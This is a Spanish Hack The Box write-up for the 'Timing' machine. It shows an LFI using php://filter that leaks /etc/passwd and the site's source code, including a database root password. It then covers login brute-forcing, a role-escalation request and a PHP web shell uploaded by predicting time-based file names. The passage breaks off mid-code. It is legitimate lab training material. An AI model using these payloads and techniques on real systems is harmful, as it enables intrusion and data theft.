This page looks best with JavaScript enabled

Hack The Box - Timing

 •  ✍️ sckull

En Timing encontramos una vulnerabilidad LFI que nos permitió obtener el codigo fuente del sitio web, acceder y escalar privilegios en este, posteriormente acceso por una Web Shell donde encontramos credenciales en un backup del sitio para acceder por SSH. Finalmente escalamos privilegios utilizando el archivo de configuración .wgetrc.

Nombre Timing box_img_maker
OS

Linux

Puntos 30
Dificultad Media
IP 10.10.11.135
Maker

irogir

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[6.7, 5.5, 4.7, 5.3, 4.5],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         { 
            "label":"Maker Rate",
            "data":[10, 10, 1, 9, 0],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

Recon

nmap

Escaneo de puertos con nmap nos muestra el puerto http (80) y ssh (22) abiertos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
# Nmap 7.91 scan initiated Tue Jan 25 23:58:19 2022 as: nmap -p22,80 -sV -sC -oN nmap_scan 10.10.11.135
Nmap scan report for 10.10.11.135 (10.10.11.135)
Host is up (0.064s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 d2:5c:40:d7:c9:fe:ff:a8:83:c3:6e:cd:60:11:d2:eb (RSA)
|   256 18:c9:f7:b9:27:36:a1:16:59:23:35:84:34:31:b3:ad (ECDSA)
|_  256 a2:2d:ee:db:4e:bf:f9:3f:8b:d4:cf:b4:12:d8:20:f2 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Simple WebApp
|_Requested resource was ./login.php
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jan 25 23:58:30 2022 -- 1 IP address (1 host up) scanned in 10.98 seconds

Web Site

En el sitio web se muestra un formulario para el ingreso de usuarios.
image

Directory Brute Forcing

Feroxbuster muestra multiples paginas en php y un directorio de imagenes.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
 π ~/htb/timing ❯ feroxbuster -u http://10.10.11.135/ -w $MD -x php

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.3.3
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://10.10.11.135/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.3.3
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 💲  Extensions            │ [php]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
301        9l       28w      313c http://10.10.11.135/images
302        0l        0w        0c http://10.10.11.135/index.php
302        0l        0w        0c http://10.10.11.135/profile.php
200      177l      374w     5609c http://10.10.11.135/login.php
200        0l        0w        0c http://10.10.11.135/image.php
302        0l        0w        0c http://10.10.11.135/header.php
301        9l       28w      321c http://10.10.11.135/images/uploads
200      115l      264w     3937c http://10.10.11.135/footer.php
302        0l        0w        0c http://10.10.11.135/upload.php
301        9l       28w      310c http://10.10.11.135/css
301        9l       28w      309c http://10.10.11.135/js
302        0l        0w        0c http://10.10.11.135/logout.php
403        9l       28w      277c http://10.10.11.135/server-status
 π ~/htb/timing ❯

Profile Pages

Tenemos acceso unicamente a login.php en donde pide un usuario y contraseña. Burpsuite nos muestra un cambio en la url al visitar paginas que necesitan acceso como profile.php donde vemos que utiliza ./ para indicar el “directorio actual” de la pagina login.php.

1
2
3
4
5
6
7
8
9
GET /./login.php HTTP/1.1
Host: 10.10.11.135
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=4ik63pl6tqhds7j8grki4m2ecs
Upgrade-Insecure-Requests: 1

Tomando en cuenta que esta utilizando ./, utilizamos ../ para “subir” un directorio y acceder a la pagina index.php.

1
2
3
GET /./login.php/../index.php HTTP/1.1
Host: 10.10.11.135
[.. snip ..]

Esto nos permitió acceder al contenido de la pagina index.php.
image

profile.php muestra un formulario para la actualización de la informacion del usuario.
image

En esta misma pagina encontramos un archivo javascript js/profile.js que contiene el codigo para realizar la actualizacion, donde tambien vemos una nueva pagina: profile_update.php.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
function updateProfile() {
    var xml = new XMLHttpRequest();
    xml.onreadystatechange = function() {
        if (xml.readyState == 4 && xml.status == 200) {
            document.getElementById("alert-profile-update").style.display = "block"
        }
    };

    xml.open("POST", "profile_update.php", true);
    xml.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    xml.send("firstName=" + document.getElementById("firstName").value + "&lastName=" + document.getElementById("lastName").value + "&email=" + document.getElementById("email").value + "&company=" + document.getElementById("company").value);
}

Tras recrear la solicitud en burpsuite muestra que el id del usuario no fue encontrado.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
POST /./login.php/../profile_update.php HTTP/1.1
Host: 10.10.11.135
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=6si8q9m331tkhphku687j22q0n
Content-Length: 52

firstName=user&lastName=user&email=user&company=user

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
HTTP/1.1 200 OK
Date: Wed, 26 Jan 2022 00:56:58 GMT
Server: Apache/2.4.29 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 31
Content-Type: text/html; charset=UTF-8

No user with this id was found.

upload.php, nos muestra un mensaje.

  • No permission to access this panel!

Finalmente image.php es una pagina en blanco.

Local File Inclusion

Fuzzing

Utilizamos ffuf para busqueda de parametros que pudieramos utilizar para subir algun archivo, inicialmente en upload.php, aunque en esta pagina no encontramos ninguno, en image.php encontramos img.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
 π ~/htb/timing ❯ ffuf -c -w $MD -u "http://10.10.11.135/./login.php/../image.php?FUZZ=/etc/passwd" -fw 1

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.3.1 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.11.135/./login.php/../image.php?FUZZ=/etc/passwd
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
 :: Filter           : Response words: 1
________________________________________________

img                     [Status: 200, Size: 25, Words: 3, Lines: 1]
[WARN] Caught keyboard interrupt (Ctrl-C)

Al solicitar /etc/passwd nos muestra un mensaje que indica que existe algun tipo de filtro.

1
2
3
 π ~/htb/timing ❯ curl -s "http://10.10.11.135/./login.php/../image.php?img=/etc/passwd"
Hacking attempt detected!
 π ~/htb/timing ❯

Si pasamos el archivo login.php parece ser ejecutado, ya que no se muestra el codigo fuente PHP.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
 π ~/htb/timing ❯ curl -s "http://10.10.11.135/./login.php/../image.php?img=login.php"|head -n 15

<!DOCTYPE html>
<html lang="en">
<head>
    <title>Simple WebApp</title>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <link rel="stylesheet" href="./css/bootstrap.min.css">
    <script src="./js/jquery.min.js"></script>
    <script src="./js/bootstrap.min.js"></script>

    <style>
        html, body {
            margin: 0;
            padding: 0;
(23) Failed writing body
 π ~/htb/timing ❯

Utilizando wrappers de PHP logramos obtener en base64 el archivo /etc/passwd, vemos en este al usuario aaron.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
 π ~/htb/timing ❯ curl -s "http://10.10.11.135/./login.php/../image.php?img=php://filter/convert.base64-encode/resource=/etc/passwd" |base64 -d
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false
aaron:x:1000:1000:aaron:/home/aaron:/bin/bash
 π ~/htb/timing ❯

Codigo Fuente

Utilizando el wrapper anterior logramos obtener el codigo fuente de todas las paginas conocidas y paginas nuevas que descubrimos en el codigo. Login utiliza role e userid para generar una sesion del usuario.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
<?php

include "header.php";

function createTimeChannel()
{
    sleep(1);
}

include "db_conn.php";

if (isset($_SESSION['userid'])){
    header('Location: ./index.php');
    die();
}


if (isset($_GET['login'])) {
    $username = $_POST['user'];
    $password = $_POST['password'];

    $statement = $pdo->prepare("SELECT * FROM users WHERE username = :username");
    $result = $statement->execute(array('username' => $username));
    $user = $statement->fetch();

    if ($user !== false) {
        createTimeChannel();
        if (password_verify($password, $user['password'])) {
            $_SESSION['userid'] = $user['id'];
            $_SESSION['role'] = $user['role'];
        header('Location: ./index.php');
            return;
        }
    }
    $errorMessage = "Invalid username or password entered";


}
?>
<?php
if (isset($errorMessage)) {

    ?>
    <div class="container-fluid">
        <div class="row">
            <div class="col-md-10 col-md-offset-1">
                <div class="alert alert-danger alert-dismissible fade in text-center" role="alert"><strong>

                        <?php echo $errorMessage; ?>

                </div>
            </div>
        </div>
    </div>
    <?php
}
?>
    <link rel="stylesheet" href="./css/login.css">

    <div class="wrapper fadeInDown">
        <div id="formContent">
            <div class="fadeIn first" style="padding: 20px">
                <img src="./images/user-icon.png" width="100" height="100"/>
            </div>

            <form action="?login=true" method="POST">

                <input type="text" id="login" class="fadeIn second" name="user" placeholder="login">

                <input type="text" id="password" class="fadeIn third" name="password" placeholder="password">

                <input type="submit" class="fadeIn fourth" value="Log In">

            </form>


            <!-- todo -->
            <div id="formFooter">
                <a class="underlineHover" href="#">Forgot Password?</a>
            </div>

        </div>
    </div>


<?php
include "footer.php";

En el header encontramos nuevas paginas y direcciones como Admin Panel.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<?php
include "auth_check.php";
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <title>Simple WebApp</title>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <link rel="stylesheet" href="./css/bootstrap.min.css">
    <script src="./js/jquery.min.js"></script>
    <script src="./js/bootstrap.min.js"></script>

    <style>
        html, body {
            margin: 0;
            padding: 0;
            max-width: 100%;
            overflow-x: hidden;
        }

    </style>

</head>
<body>

<nav class="navbar navbar-default">
    <div class="container-fluid">
        <div class="navbar-header">
            <a class="navbar-brand" href="#">Simple WebApp</a>
        </div>
        <ul class="nav navbar-nav">
            <?php
            if (isset($_SESSION['userid'])) {
            ?>
            <li><a href="index.php">Home</a></li>
            <li class=""><a href="profile.php">Edit profile</a></li>

            <?php
            if (isset($_SESSION['role']) && $_SESSION['role'] == 1) {
                ?>
                <li><a href="avatar_uploader.php">Admin panel</a></li>

            <?php }
            ?>


        </ul>
        <ul class="nav navbar-nav navbar-right">
            <li><a href="logout.php">Logout</a></li>

            <?php
            } else {

                ?>
                <li><a href="login.php">Login</a></li>
                <?php

            }
            ?>
        </ul>
    </div>
</nav>

En profile se puede realizar cambios a la informacion “personal” del usuario enviadas a traves de un formulario a profile_update.php.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
<?php
include_once "header.php";

include_once "db_conn.php";

$id = $_SESSION['userid'];


// fetch updated user
$statement = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$result = $statement->execute(array('id' => $id));
$user = $statement->fetch();


?>

<script src="js/profile.js"></script>


<div class="container bootstrap snippets bootdey">

    <div class="alert alert-success" id="alert-profile-update" style="display: none">
        <strong>Success!</strong> Profile was updated.
    </div>

    <h1 class="text-primary"><span class="glyphicon glyphicon-user"></span>Edit Profile</h1>
    <hr>
    <div class="row">
        <!-- left column -->
        <div class="col-md-1">
        </div>

        <!-- edit form column -->
        <div class="col-md-9 personal-info">
            <h3>Personal info</h3>
            <form class="form-horizontal" role="form" id="editForm" action="#" method="POST">
                <div class="form-group">
                    <label class="col-lg-3 control-label">First name:</label>
                    <div class="col-lg-8">
                        <input class="form-control" type="text" name="firstName" id="firstName"
                               value="<?php if (!empty($user['firstName'])) echo $user['firstName']; ?>">
                    </div>
                </div>
                <div class="form-group">
                    <label class="col-lg-3 control-label">Last name:</label>
                    <div class="col-lg-8">
                        <input class="form-control" type="text" name="lastName" id="lastName"
                               value="<?php if (!empty($user['lastName'])) echo $user['lastName']; ?>">
                    </div>
                </div>
                <div class="form-group">
                    <label class="col-lg-3 control-label">Company:</label>
                    <div class="col-lg-8">
                        <input class="form-control" type="text" name="company" id="company"
                               value="<?php if (!empty($user['company'])) echo $user['company']; ?>">
                    </div>
                </div>
                <div class="form-group">
                    <label class="col-lg-3 control-label">Email:</label>
                    <div class="col-lg-8">
                        <input class="form-control" type="text" name="email" id="email"
                               value="<?php if (!empty($user['email'])) echo $user['email']; ?>">
                    </div>
                </div>

                <div class="container">
                    <div class="row">
                        <div class="col-md-9 bg-light text-right">

                            <button type="button" onclick="updateProfile()" class="btn btn-primary">
                                Update
                            </button>

                        </div>
                    </div>
                </div>

            </form>
        </div>
    </div>
</div>
<hr>

<?php
include_once "footer.php";
?>
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
function updateProfile() {
    var xml = new XMLHttpRequest();
    xml.onreadystatechange = function () {
        if (xml.readyState == 4 && xml.status == 200) {
            document.getElementById("alert-profile-update").style.display = "block"
        }
    };

    xml.open("POST", "profile_update.php", true);
    xml.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    xml.send("firstName=" + document.getElementById("firstName").value + "&lastName=" + document.getElementById("lastName").value + "&email=" + document.getElementById("email").value + "&company=" + document.getElementById("company").value);
}

Estan prohibidos ciertos Wrappers, protocolos y caracteres en image.php.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

function is_safe_include($text)
{
    $blacklist = array("php://input", "phar://", "zip://", "ftp://", "file://", "http://", "data://", "expect://", "https://", "../");

    foreach ($blacklist as $item) {
        if (strpos($text, $item) !== false) {
            return false;
        }
    }
    return substr($text, 0, 1) !== "/";

}

if (isset($_GET['img'])) {
    if (is_safe_include($_GET['img'])) {
        include($_GET['img']);
    } else {
        echo "Hacking attempt detected!";
    }
}

Vemos el codigo de avatar_uploader.php que realiza el cambio de imagen de los usuario enviando esta a upload.php.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php

include_once "header.php";

include_once "admin_auth_check.php";
?>

<script src="js/avatar_uploader.js"></script>

<style>
    .bg {
        padding: 30px;
        /* Full height */
        height: 100%;

        /* Center and scale the image nicely */
        background-position: center;
        background-repeat: no-repeat;
        background-size: cover;
    }
</style>

<div class="bg" id="main">

    <div class="alert alert-success" id="alert-uploaded-success" style="display: none">

    </div>

    <div class="alert alert-danger" id="alert-uploaded-error" style="display: none">

    </div>

    <div class="container bootstrap snippets bootdey" style="margin-bottom: 150px">
        <h1 class="text-primary"><span class="glyphicon glyphicon-user"></span>Upload avatar</h1>
        <hr>


        <form class="form-inline" action="upload.php" method="post" enctype="multipart/form-data">
            <div class="form-group mb-2">
                <input type="file" name="fileToUpload" class="form-control" id="fileToUpload">
            </div>

            <button type="button" onclick="doUpload()" class="btn btn-primary">
                Upload Image
            </button>

        </form>

    </div>
</div>

<?php
include_once "footer.php";
?>
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
$(document).ready(function () {
    document.getElementById("main").style.backgroundImage = "url('/image.php?img=images/background.jpg'"
});

function doUpload() {

    if (document.getElementById("fileToUpload").files.length == 0) {
        document.getElementById("alert-uploaded-error").style.display = "block"
        document.getElementById("alert-uploaded-success").style.display = "none"
        document.getElementById("alert-uploaded-error").textContent = "No file selected!"
    } else {

        let file = document.getElementById("fileToUpload").files[0];  // file from input
        let xmlHttpRequest = new XMLHttpRequest();
        xmlHttpRequest.onreadystatechange = function () {
            if (xmlHttpRequest.readyState == 4 && xmlHttpRequest.status == 200) {


                if (xmlHttpRequest.responseText.includes("Error:")) {
                    document.getElementById("alert-uploaded-error").style.display = "block"
                    document.getElementById("alert-uploaded-success").style.display = "none"
                    document.getElementById("alert-uploaded-error").textContent = xmlHttpRequest.responseText;
                } else {
                    document.getElementById("alert-uploaded-error").style.display = "none"
                    document.getElementById("alert-uploaded-success").textContent = xmlHttpRequest.responseText;
                    document.getElementById("alert-uploaded-success").style.display = "block"
                }

            }
        };
        let formData = new FormData();

        formData.append("fileToUpload", file);
        xmlHttpRequest.open("POST", 'upload.php');
        xmlHttpRequest.send(formData);
    }
}

En upload vemos que acepta archivos, creando un nombre único apartir de un hash MD5 tomando en cuenta el tiempo actual (de la maquina) y nombre del archivo. Aunque para acceder a esta pagina es necesario tener permisos de administrador.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
include("admin_auth_check.php");

$upload_dir = "images/uploads/";

if (!file_exists($upload_dir)) {
    mkdir($upload_dir, 0777, true);
}

$file_hash = uniqid();

$file_name = md5('$file_hash' . time()) . '_' . basename($_FILES["fileToUpload"]["name"]);
$target_file = $upload_dir . $file_name;
$error = "";
$imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));

if (isset($_POST["submit"])) {
    $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
    if ($check === false) {
        $error = "Invalid file";
    }
}

// Check if file already exists
if (file_exists($target_file)) {
    $error = "Sorry, file already exists.";
}

if ($imageFileType != "jpg") {
    $error = "This extension is not allowed.";
}

if (empty($error)) {
    if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
        echo "The file has been uploaded.";
    } else {
        echo "Error: There was an error uploading your file.";
    }
} else {
    echo "Error: " . $error;
}
?>

Finalmente encontramos la conexion de la base de datos MySQL, credenciales de acceso y codigo util para verificar el acceso de usuarios.

1
2
<?php
$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', '4_V3Ry_l0000n9_p422w0rd');
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
<?php

include_once "auth_check.php";

if (!isset($_SESSION['role']) || $_SESSION['role'] != 1) {
    echo "No permission to access this panel!";
    header('Location: ./index.php');
    die();
}

?>
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
<?php

//ini_set('display_errors', '1');
//ini_set('display_startup_errors', '1');
//error_reporting(E_ALL);

// session is valid for 1 hour
ini_set('session.gc_maxlifetime', 3600);
session_set_cookie_params(3600);

session_start();
if (!isset($_SESSION['userid']) && strpos($_SERVER['REQUEST_URI'], "login.php") === false) {
    header('Location: ./login.php');
    die();
}
?>

Aaron > Admin

Observamos anteriormente que es posible subir archivos aunque es necesario obtener acceso como administrador, sin embargo, hasta este punto tenemos un pequeño numero de usuarios y contraseña. Utilizamos este pequeño wordlist para realizar ‘brute forcing’ al login.

1
2
3
4
root
4_V3Ry_l0000n9_p422w0rd
user
aaron

Tras realizar esto encontramos que aaron:aaron es una combinación válida.
image

En ‘Edit profile’ logramos realizar cambios a los datos que se muestran en el formulario.
image

Si bien se realizan estos cambios, descubrimos que existen algunos datos que no se muestran en el formulario y que podrian ser actualizados.
image

Intentamos realizar un cambio a ‘role’ con valor 1 tomando en cuenta que este valor pertenece a admin o un rol superior, se muestra en la respuesta que se actualizó.
image

Con este pequeño cambio logramos acceder a ‘Admin panel’.
image

Upload

En ‘Admin panel’ logramos enviar una imagen JPG, pero no muestra el directorio en el que se encuentra ni el nombre.
image

Si regresamos al codigo fuente observamos, que, el directorio donde se almacenan las imagenes es: images/uploads/.

1
2
3
4
5
6
7
8
9
<?php

[...]

$upload_dir = "images/uploads/";

if (!file_exists($upload_dir)) {
    mkdir($upload_dir, 0777, true);
}

El nombre del archivo es MD5 y se créa a partir de un ID único, hora actual y el nombre del archivo.

1
2
3
4
5
6
7
<?php

[...]

$file_hash = uniqid();
$file_name = md5('$file_hash' . time()) . '_' . basename($_FILES["fileToUpload"]["name"]);
$target_file = $upload_dir . $file_name;

Verifíca que sea una imagen y su extensión sea jpg (“filtro”), que el archivo no exista, finalmente mueve el archivo a images/uploads/.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

[...]

$error = "";
$imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));

if (isset($_POST["submit"])) {
    $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
    if ($check === false) {
        $error = "Invalid file";
    }
}

// Check if file already exists
if (file_exists($target_file)) {
    $error = "Sorry, file already exists.";
}

if ($imageFileType != "jpg") {
    $error = "This extension is not allowed.";
}

if (empty($error)) {
    if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
        echo "The file has been uploaded.";
    } else {
        echo "Error: There was an error uploading your file.";
    }
} else {
    echo "Error: " . $error;
}
?>

Web-Shell

Timing

Si logramos encontrar el nombre del archivo y realizar un “bypass” al “filtro”, quizas podríamos subir una webshell o ejecutar una shell inversa. Para ello necesitamos obtener la hora exacta de la maquina, sin embargo se muestra el puerto ntp cerrado.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
 π ~/htb/timing ❯ sudo nmap -sU -p123 10.10.11.135
Starting Nmap 7.91 ( https://nmap.org ) at 2022-01-26 22:33 UTC
Nmap scan report for 10.10.11.135 (10.10.11.135)
Host is up (0.063s latency).

PORT    STATE  SERVICE
123/udp closed ntp

Nmap done: 1 IP address (1 host up) scanned in 0.33 seconds
 π ~/htb/timing ❯

Si realizamos una solicitud al sitio web, vemos que en los headers se muestra la hora exacta de la maquina.

1
2
3
4
5
 π ~/htb/timing ❯ curl -sI http://10.10.11.135 |grep Date
Date: Wed, 26 Jan 2022 22:40:57 GMT
 π ~/htb/timing ❯ curl -sI http://10.10.11.135 |grep Date
Date: Wed, 26 Jan 2022 22:40:58 GMT
 π ~/htb/timing ❯

Con un pequeño script sincronizamos nuestra hora con la máquina.

1
2
3
4
5
6
7
8
9
import time, requests, os

r = requests.get('http://10.10.11.135')
time_now = r.headers['Date'].split(',')[1]
print("Date Before: ")
os.system('date')
print("Date After: ")
os.system(f'date -s "{time_now}"')
os.system('date')

Utilizando PHP, creamos el nombre del archivo cada segundo tomando en cuenta el archivo img.jpg.

1
2
3
4
5
6
7
8
<?php
while(true){
    $file_hash = uniqid();
    $file_name = md5('$file_hash' . time()) . '_' . basename('img.jpg');
    echo $file_name;
    echo("\n");
    sleep(1);
}

El contenido del archivo img.jpg.

1
2
<?php
echo(shell_exec($_GET['cmd']));

Segundos antes de subir el archivo ejecutamos el archivo php creando un pequeño wordlist, luego, subimos el archivo.

1
2
3
4
5
6
 π ~/htb/timing ❯ php archivo.php
75e2a0182352efa4263c33274457c3fd_img.jpg
426d1585cc3cbd6011fec4691e50cab4_img.jpg
[...]
^C
 π ~/htb/timing ❯ php archivo.php > files.txt

Tras unos segundo ejecutamos ffuf para buscar nuestro archivo con el wordlist, observamos nuestro archivo.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
 π ~/htb/timing ❯ ffuf -c -w files.txt -u http://10.10.11.135/images/uploads/FUZZ

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.3.1 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.11.135/images/uploads/FUZZ
 :: Wordlist         : FUZZ: files.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
________________________________________________

04ddc62cc9d18a54ecec59d5a281193b_img.jpg [Status: 200, Size: 82, Words: 4, Lines: 5]
:: Progress: [11/11] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::
 π ~/htb/timing ❯

El archivo existe más no es posible ejecutar comandos.

1
2
3
4
 π ~/htb/timing ❯ curl -s "http://10.10.11.135/images/uploads/04ddc62cc9d18a54ecec59d5a281193b_img.jpg?cmd=id"
<?php
echo(shell_exec($_GET['cmd']));
 π ~/htb/timing ❯

Si recordamos en image.php fué posible ejecutar login.php. Al pasar nuestro archivo no se muestra el resultado.

1
2
 π ~/htb/timing ❯ curl -s "http://10.10.11.135/image.php?img=images/uploads/04ddc62cc9d18a54ecec59d5a281193b_img.jpg?cmd=id"
 π ~/htb/timing ❯

Despues de realizar distintas pruebas logramos ejecutar comandos y ver el resultado creando un archivo PHP el cual acepta comandos por medio de solicitudes POST.

1
2
<?php
